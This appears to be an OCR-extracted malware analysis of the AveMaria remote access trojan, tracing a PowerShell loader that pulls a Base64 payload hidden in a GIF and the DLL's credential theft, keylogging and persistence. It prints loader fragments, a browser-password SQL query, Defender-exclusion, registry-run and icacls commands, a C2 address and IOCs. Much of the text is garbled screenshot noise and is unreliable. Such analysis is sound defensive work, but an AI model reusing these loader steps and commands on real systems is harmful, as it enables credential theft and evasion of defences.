Favourites * oMazUyEkMZ TzAxgFMIHDvXTbMmG jDwghA TAEAUA820/Y7Px+zc/8. Z. 'UP18zL 9YCP: BUNPMz i ngqOGpT\/éIkbéoTLBkQOnlDUSWUD
ngj/4c00bjzeacOre]y306NQaTg302N1dDN XX TA2UVNIY TG2UQNKXDY1ALNNTTB@IKNISKC BNRQTCZ0,/MpPDS 249707t ZE7MNOToZ ISMHO Tz O1HUN
Data format 1524 AMGEZ: Md CDCWgFMRBTEAAAAEDQAABWPG/ D8/ E9P++Do/USPhajU/UxPO8ZB+kvPV7 Z+UrPu6Tq+QqPf6jm+4nP55 jb
+kmPg5 jii+M1 Pga EIRePO3250waP 12 19cHPT1T TOgUPrETASTHP P XDZBUF PkuDG 78+0qv T37g90uuTF7160ms T66kvOzrj 76Et0ArDUGANOG1 2750d0GND1 58
Encryption / Encoding e 2ozs = 1 Tr Raw Bytes € L
Public Key Output % A0 m®:o

D0S_mo:

FIZ ok vk e, i

1wl f1This program cannot be run

Arithmetic / Logic
er e St s+ N+ Clau 801w CluveBeord_akLwate -a){).uama]ah

Networking BB*MBALv:88 NBAL v BAd 11 BALviB] + = BR LBl + + 301w B Lsond51rud T
4°1w.aT

L sk ivER1ChCived st PE; ——1 o Reas Pocamunuun NULNULNULOLEN UL

anguage

it LB LKL LU LU LWL LU0 UL UL LU & 5. 4L UL L0  *NAES0L
ocrvuvu 80s: NULNULNLNULNULNULNULNULNULNUL NULNULNULNULNULNULNULNG

& . UL VUL UL YL VUL UL VUL VL VL N YL VUL, o £ @3N UL e WP 50 UL WL DLE WU 0 RSOHNULIULEOT UL UL AL ELAUL AL LAUL VELAULAGL NULAGLNGL

Sl A A0 B0 T B0t D T oot Aot LAk HLLALLAL | 0008 LA R R

N s s G B . DS S oL DAL ASTEN AL . ST S SR——

EXESciOES L L L L L L LML U L AL . L . L L N LN U L I N L I N UL N ML U N L U VUL N I VUL ML L VUL VL G VUL VUL L N VUL L MU NG LN N UL N NG UL NIV NG

Hashing L L L L L L L L WL U LWL UL UL I U v i v v v o e U 1 0 Jovenuu eor3A]A oM e o E as FMoet 1 eoue tocaeor@ABA s §

STEP o wesz® +A]AUS 3o ForoncoMes VoRitocsoU e osmefMoiee soehBo boweuutfio £2 1R o LS or
" L Auto Bake
Code tidy oD & D © resms T rowoytes o we (getected)

Figure 8: CyberChef to decode the string
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The second URL led to a GIF file, and examining it in a hex editor confirmed that the code was using a Base64-

encoded string hidden between tags within the GIF.

& giphy.gif

Offset (h)

=]
=
=]
I
=]
(9]
=]
[T
=]
o
]

n|
=]
m
=]
]
[=]
h=
[=]
[ni]
=]
(]
[=]
=}
[=]
=
=]
]

Decoded text

o O
L m

00

003CDES0 80 71 3F 73 AS 07 2E 4E B2 F9 19 SB E0 FC D1 £g?s@.c.Ha. »aidll
003CDEE0 2C 3E 1B 24 83 0F 66 L2 AS 23 15 21 DA 40 B2 RE  ,>.SF.f ¥4, .08«
0O03CDETO €6 0Ol SB 24 DE OC 28 2E BD 3D 01 2R 43 BE 30 ER  £.,,B. (.}=.*C»0&
003CDES0 8C FE 2D 3B 31 B2 6B FA SE =C 2D 1k BT FS OF 07 @p—:;1, kafE-. -u..
003CDES0 BO CD 83 3C C8 23 68 R0 D3 26 1E DC 16 21 27 e °If<Efn 61.0..'«
O03CDER0 €3 A3 FS 43 F8 A7 02 Cé DB 70 3D 41 52 C4 87 42 cfuCeS.Elp=A’AtB
O03CDEBO 06 40 FO &C 15 47 80 47 &0 22 18 4h BO OF 7E 3B .@BL.GEGY,.J°.~;

76 . ) 37

003CDeCo
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003CDeED
O03CDeFD
Oo3CDTo0
Oo3CDT10

vi.A.¥0a!A{;.T7eX
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003CD740 41 &7 41 41 4 1l g Aghibhbifugdbtin
Q0O3CDT50 4E 4% 62 €7 42 54 4D 30 &8 56 47 68 TO €2 79 42 HNIbgBTMOhVGhpcyB
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Figure 9: HxD Locating The "sudo_png" Tag

Following that, I wrote a Python script that takes the file, locates the two tags defined in the PowerShell script,

extracts the content between them, decodes it from Base64, and saves the output to a file, as shown in Figure 10.

1 import basess -
2
3 def extract_and decode_bas=64(file path, start.J[aIkEI::l <<sudo_png>>', and}azkez:;'-1-:3)::7::1:»", output_path="decoded_output.bin'):
4 try:
S = with open(file path, 'rb') as f: B8] Detect It Easy v3.09 [Windows 10 Version 2009] (xB6_64) - o X
1 = data = f.r=sad()
v File name
start_index = data.’ind(start_marker)
andindes — daca.cind(end marker) > | |c:\Users\oxipesktop\ew folder\decoded_output.bin
File type File size
=] if start_index — -1 or end index — -1: Advanced
ST pee - F = - £i1 PE32 - 3.10 MiB
print ("Markers not found in the file.")
r return Scan Endianness Mode Architecture Type
Automatic - LE 32-bit 1386 DLL
start_indsx += len(start_marker)
s |2 ~ PE32
Operation system: Windows(031386, 32-br, DLLT s e
- Linker: Microsoft Linker s 7
Compiler: VB.NET s 7
. Language: BASIC s e
Library: dnlib s 7
. Library: .NET(v4.030319) s 7
‘ E
s |-
=]
r Shorteuts
v
i Print (L"Basebé-decoded data written tO ' {QULPUL_Dath)'."} Options
e Signatures v Recursive scan v Deep scan Heuristicscan V| Verbose
a About
Scan
Python file length: 1,151 lines: 36 Ln:36 Col:39 p{ | Directory Log Alltypes > 1195 msec Exit

Figure 10: Extracts File From The GIF

Second StagePermalink
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In the second stage, the focus shifts to the DLL and EXE files extracted from the GIF and TXT (DLL and EXE)

payloads from the earlier stages.

T

Hollowing T1@55.812
26

::Internet Connection Di "y T1816.8091

Tle47
::Token Impersonation/Theft T1134.e01
MBC Objectiv MBC Behavior
ive Data [B6©30.0082]
::Get Response [CB862.017]

::MDS [C0829.601]
::Use API [C0821.803]

e64 [CBB53.801]

::Create Suspended Process [C@817.8683 ]
[Cee38)

Figure 11: Capabilities Of The DLL
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hnique

from Web Bro

Figure 12: Capabilities Of The EXE

As expected from this RAT, it includes several keylogging techniques, has the capability to extract stored

passwords, and also implement process injection methods.

Analyzing the sample in a debugger revealed how it carries out these actions. In Figure 13, we can see it executing

SQL queries to retrieve login credentials from various web browsers.

........ select s
ignon_realm, ori
gin_url, usernam
72 |e_value, passwor
7 |d_value from wow
_Togins.select s
ignon_realm, ori
gin_url, usernam
72|e_value, passwor
7 |d_value from log

00CC7BFO |00 00 00 00|00 00
00Ccc7c00 |69 67 6E &F [6E 5F 7
00CC7C10| 67 69 6E 5F (75 72
00Ccc7c20 |65 5F 76 61|6C 75
00CC7C30 |64 5F 76 61 |6C 75
00CC7Cc40 | 5F 6C 6F 67 |69 GE

00CC7C50| 69 67 BE 6F [BE SF 7
00CC7C60 |67 69 6E 5F (75 72
00cc7c70 |65 5F 76 61|6C 75
00CC7CB0 |64 5F 76 61 |6C 75
00Ccc7c90 |69 6E 73 00|00 00
00CC7CAD| 67 00 6C 00|65 00
00cc7ce0 | 6D 00 65 00 |5C 00
00CC7CCO[44 00 61 00|74 00
< >

Figure 13: SQL Queries

In Figure 14, we can see that it also attempts to extract usernames and passwords from Thunderbird (which is
relatively uncommon among common RATS). Following that, it targets various SMTP and email-related services

for credential harvesting, including Outlook.
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00CCBBECQ [6A 00 73 00|6F 00 6E 00 (00 00 00 00|65 6E 63 72).s.0.n..... encr
O0OCCBBFO (79 70 74 65|64 55 73 65|72 6E 61 6D |65 00 00 00 fyptedUsername. ..
00CCB900 (68 bF 73 74 |6E 61 6D 65|00 00 00 00|65 6E 63 72 jhostname....encr
00CCB910 (79 70 74 65|64 50 61 73|73 77 6F 72|64 00 00 00 fyptedPassword. ..
00CCB920 (74 00 68 00|75 00 6E 00|64 00 65 00|72 0062 00 [t.h.u.n.d.e.r.B.
00CCB930 (69 00 72 00|64 00 2E 00|65 00 78 00|65 00 00 OOfi.r.d...e.x.e...
00CCB940 (5C 00 54 00|68 00 75 00|GE 00 64 00|65 00 72 00 I\.T.h.u.n.d.e.r.
00CCB950 (62 00 69 00|72 00 64 00|5C 00 00 00|43 00 6F 00 |b.7.r.d.N...C.o0.
00CCB960 (75 00 6C 00|64 00 20 00|6E 00 6F 00|74 00 20 00 u.T1.d. .n.o.t. .
00CCB970 (64 00 65 00|63 00 72 00|79 00 70 00|74 00 00 00 ||d.e.c.r.y.p.%t...
00CCB980 (41 00 B3 00|63 00 6F 00|75 00 6E 00|74 00 20 00 A.c.c.o.u.n.t. .
00CCB990 |4E 00 b1 0O |6D 00 &5 00|00 0O 00 00|45 00 6D OO N.a.m.e..... E.m.

Figure 14: Extracts Credentials From Email Related Services

As shown in Figure 15, it uses the ping command as a delay execution mechanism.

00ccal?20 | cmd.exe /C ping 1.2.3.4 -n 2 -w 1000 > Nul & Del /f /q ‘win

‘UU‘_LHUI—U — P R SS I LNSpr By W LV I B S B B B S N A LAt
MM aTEN | C AT Arratbsiia smimame AT TY Y Ym0 tada em A

Figure 15: Delay Execution

In addition, while debugging, another C2 server used by the attacker was observed, as shown in Figure 16.

ecx:ZwFreeVirtualMemory+C

ecx:ZwFreeVirtualMemory+C, [edi+04]:['196.251.115.121"

ecx:ZwFreeVirtualMemory+C

ecx:ZwFreeVirtualMemory+C

ecx:ZwFreeVirtualMemory+C, [edi+04]:"196.251.115.121"
Figure 16: Connection With C2 Address

Further analysis of the PowerShell line that calls the VAI method from the DLL ($Laverna =
[dnlib.I0.Home].GetMethod(‘VAI’).Invoke(...)) makes it clear that changing the parameters alters the behavior of
the RAT.

Here are few examples

e Displays MSG Box
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Recurso "UAC.dII' ndo encontrada!

Figure 17: MSG Box

» Saves Copy to the Public folder

_— T NeEw Toaer
[[] Only show processes still running at end of current trace System32
Timelines cover displayed events only B videos
Process Description Image Path Life Time Company g This PC
5 Zoomt64 exe (5728) Sysintemals Scree... C:\Tools\sysintem..._Sysintemals - W
[ @R omd exe (1164) Windows Comma... C:\Windows'\Syst... _Micmsoﬂ Corpora |_j Netwark
[BH conhost exe (3168) Console Window ... C:\Windows'syst... Microsoft Corpora
B e py exe (3576) Python C:\Windows'\py exe _ Python Software
P python exe (1938) Python C:\Python310%pyt... _ Python Software
Hnotepadﬂ.e:e (2620) Notepad++ C:\Program Files.... _ Don HO don h@t
= i Procmon exe (1656) Process Monitor C:\Tools\sysintem... _Sysintemals - W Public Downloads
B Procmon64 exe (3288) Process Monitor C:\Users\I\App... _Sysintemals - W
=) E¥ powershell exe (3176) Windows PowerS... C:\Windows'\Syst... _Micmsoﬂ Compora
[ conhost exe (6100) Console Window ... C:\Windows'syst... _Mic‘msoﬂ Corpora
(=) g% cmd exe (5396) Windows Comma... C:\Windows"\Syst... | Microsoft
a4 Conhost exe (4584) Congole Window ... C:\Windows"Syst... | Microsoft Corpora
E|Gchrome.exe (3916) Google Chrome C:\Program Files\.... _Google LLC .
Fchrome.exe (3688) Google Chrome C:\Program Files... _Google LLC %
@chrome.exe (3044) Google Chrome C:\Program Files'... _Google LLC
@chrome.exe (3756) Google Chrome C:\Program Files'... _Google LLC
@chrome.exe (4572) Google Chrome C:\Program Files.... _Google LLC
@chrome.exe (1556) Google Chrome C:\Program Files'... _Google LLC
£ = > £
address.js
Description:  Windows Command Processor 10items 1 item celected 1.50 MB

Company:  Microsoft Corporation
Path: CAWindows\System3Zicmd.exe
Command:  "C\Windows\System32\cmd. exe"I!C copy *.js "C\Users\Public\address.js" I

Figure 18: Copy To Public

e Creates a Scheduled Task with varying timestamps (depending on the parameters)
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.G‘,. Task Scheduler (Local)
7 Task Scheduler Library

Status Triggers

At 747 AM on 5/14/2025 - After triggered, repeat every O
dgelpdateTaskMachi... Running Multiple triggers defined
MicrosoftEdgellpdateTaskMachi... Ready At 3:23 AM every day - After triggered, repeat every 1 hou
npcapwatchdog Ready At system startup

2 OneDrive Reporting Task-5-1-5-...  Ready At 171:17 PM on 6/7/2024 - After triggered, repeat every 1.1

L4

General Triggers Actions Conditions Settings History (disabled)

When you create a task, you must specify the action that will cccur when your task starts. To change the

Action Details

Start a program wscript.exe ChUsersh\Publicaddress.js

Figure 19: Schedule Task Creation

e One of the arguments, when set to “1” for example, causes the PowerShell window to display logs

containing detailed system information, along with checks to determine whether the malware is running in

a real environment or is being analyzed and monitored.

I e U e

$microliths . Headers.Rdd('User-Agent’,
$tipula = $microliths.DownloadData (§picle);
$archeoclogist = [System.Text.Encoding]::UTF8.GetString ($tipula) ;

'Mozilla/5.0");

E¥ Windows PowerShell

$cyberspeech

8 $diander = '<<s Wquows Powershel 1 i .

> ¢banie = $archeologist.IndexOf ($oyberspeech) : ICopyright (C) Microsoft Corporation. All rights
$scornful = $archeologist.IndexOf ($diander) ; [Try the new cross-platform PowerShell https://al
$banie -ge -and $scornful -gt $banie;
$banie += $cyberspeech.Length; s C: > .\test.psl
$crummier = $scornful - $banie;
$millilitres = $archeologist.Substring($banie, $crummier) ; N ~
$ayond = [System.Convert]::FromBasef4String($millilitres) ; -lirzitoml 5

$sawhorse = [System.Reflection.Assembly]::Load($ayond) ;
$Laverna = [dnlib.IO.Home].GetMethod ('V

'C:\Users\Public'

,'3s',"',"', 'displayable’ 1))

nvoke ($null, [object[]] @ ($ganﬂ5ters, *di

LastErrorCode =
Name = Motherbc
PNPDevicelID =

PowerManagement
PowerManagement
PrimaryBusType
RevisionNumber

Nindows PowerShell

SecondaryBusTyp
length: 936  lines: 17 Ln:17 Col:188 Pos:937 ‘Windows (CR LR

8221 Ty Explorer EXE 4816 [ ReglloseKey  HKCU tatusIinfo =

3221 [Elchome exe

Figure 20: System Information

8221.. [ BplorerEXE 4816 [ RegQueryKey  HKCU\Software'Classes Sys temCreationC System
8221.. [ BplorerEXE 4816 [ RegQueryKey  HKCU\Software'Classes SystemName = DE

8221.. [y BplorerEXE 4816 [ RegQueryKey  HKCU\Software'Classes
8221.. 1 BplorerEXE 4816 [ RegOpenKey  HKCU\Software'Classes|
8221.. [y Bplorer EXE 4816

i RegOpeniey  HKCR\CLSIDWSBADACE

TCP Connect  DESKTOP-2VPKVOG4Y ¢ BIOS INFO

items  Titem selected 14 hutes

Detected as virtual machine given hard disk information.
Detected as virtual machine given processes information.

Figure 21: VM Detection
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Further analysis of the strings also revealed that the malware establishes persistence by adding entries to the

registry to run on user login as shown in Figure 22.

cmd.exe /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows" /f /v Load /t REG 57 /d "

Figure 22: VM Detection

In addition, it is also excluded from Windows Defender, as shown in Figure 23.

powershell Add-MpPreference -ExclusionPath

Figure 23: Exclude From Defender

Using icacls, it attempts to grant full control permissions to Everyone for the specified target folder and all its

contents (files and subfolders), replacing any existing permissions.

CACLS

\xcopy.ex

" JGRANT:r *S-1-1-@:(0IL)(CI)F /T

Figure 24: Icalcs Command

Vitali Kremez was a prominent cybersecurity researcher and intelligence analyst known for his deep expertise in
malware reverse engineering and cybercrime investigations. He played a key role in analyzing and exposing major
cyber threats, including ransomware groups and underground forums. Tragically, he passed away in 2022, leaving

a lasting impact on the cybersecurity community.

Moreover, his name often appears in various malware families as a form of cybercrime “tribute” by criminal
actors who follow and acknowledge his research closely. In this case, we see his name embedded in a file path:

C:\Users\ Vitali Kremez \Documents\MidgetP**n\workspace\MsgBox.exe

While it’s difficult to determine intent with certainty, the context here leans more toward mockery than tribute.
The inclusion of an inappropriate or provocative folder name alongside his real name suggests an attempt to

ridicule or defame, rather than respectfully acknowledge his legacy.

I0OCsPermalink

e Hash:

7ebdce5161329214f61fa3983e9a2d19
c4df7a30cd17a7e71e581e887a69deb4
1b35b016afd3f509d2fc128ab5bdb53b
324ca3bcaed3fe7db3c43ale24d4e514
8c66d9087118b17ccaab2eb83f3542¢1

« URL
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hxxps://onfiltre[.]com[.]tr

hxxps://channelchief[.]varindia[.]com

o [P

Source: https://0xmrmagnezi.github.io/malware%?20analysis/AveMaria/

Page 12 of 12



